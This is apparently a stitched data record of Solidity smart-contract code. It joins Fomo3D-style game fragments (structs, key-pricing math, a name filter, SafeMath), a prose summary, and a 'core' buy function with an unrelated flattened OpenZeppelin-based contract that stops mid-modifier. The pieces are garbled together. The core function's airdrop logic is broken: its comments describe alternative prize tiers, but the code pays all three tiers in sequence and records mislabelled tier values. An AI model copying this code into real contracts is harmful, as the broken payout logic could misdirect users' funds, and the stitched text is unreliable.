[76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256[5] plyrs; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library F3DKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface Fomo3dContract { function setOldContractData(address oldContract) external payable; } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ &#169; Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
this is the core logic for any buy/reload that happens while a round is live./ if player is new to round early round eth limiter mint the new keys if they bought at least 1 whole key set new leaders gib muni calculate prize and give it to winner adjust airDropPot let event know a tier 3 prize was won calculate prize and give it to winner adjust airDropPot let event know a tier 2 prize was won calculate prize and give it to winner adjust airDropPot let event know a tier 3 prize was won
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < (100 ether) && plyrRnds_[_pID][_rID].eth.add(_eth) > (1 ether)) { uint256 _availableLimit = (1 ether).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); round_[_rID].plyrs[0] = round_[_rID].plyrs[1]; round_[_rID].plyrs[1] = round_[_rID].plyrs[2]; round_[_rID].plyrs[2] = round_[_rID].plyrs[3]; round_[_rID].plyrs[3] = round_[_rID].plyrs[4]; round_[_rID].plyrs[4] = _pID; if (round_[_rID].team != _team) { round_[_rID].team = _team; } } { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } } } plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); } }
2,104,088
// SPDX-License-Identifier: MIXED // File @openzeppelin/contracts/math/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] // License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/lib/Babylonian.sol // License-Identifier: MIT pragma solidity ^0.6.0; library Babylonian { function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // File @openzeppelin/contracts/utils/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/GSN/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; // File @openzeppelin/contracts/access/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/owner/Operator.sol // License-Identifier: MIT pragma solidity 0.6.12; contract Operator is Context, Ownable { address private _operator; event OperatorTransferred(address indexed previousOperator, address indexed newOperator); constructor() internal { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); } function operator() public view returns (address) { return _operator; } modifier onlyOperator() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } function isOperator() public view returns (bool) { return _msgSender() == _operator; } function transferOperator(address newOperator_) public onlyOwner { _transferOperator(newOperator_); } function _transferOperator(address newOperator_) internal { require(newOperator_ != address(0), "operator: zero address given for new operator"); emit OperatorTransferred(address(0), newOperator_); _operator = newOperator_; } } // File contracts/utils/ContractGuard.sol // License-Identifier: MIT pragma solidity 0.6.12; contract ContractGuard { mapping(uint256 => mapping(address => bool)) private _status; function checkSameOriginReentranted() internal view returns (bool) { return _status[block.number][tx.origin]; } function checkSameSenderReentranted() internal view returns (bool) { return _status[block.number][msg.sender]; } modifier onlyOneBlock() { require(!checkSameOriginReentranted(), "ContractGuard: one block, one function"); 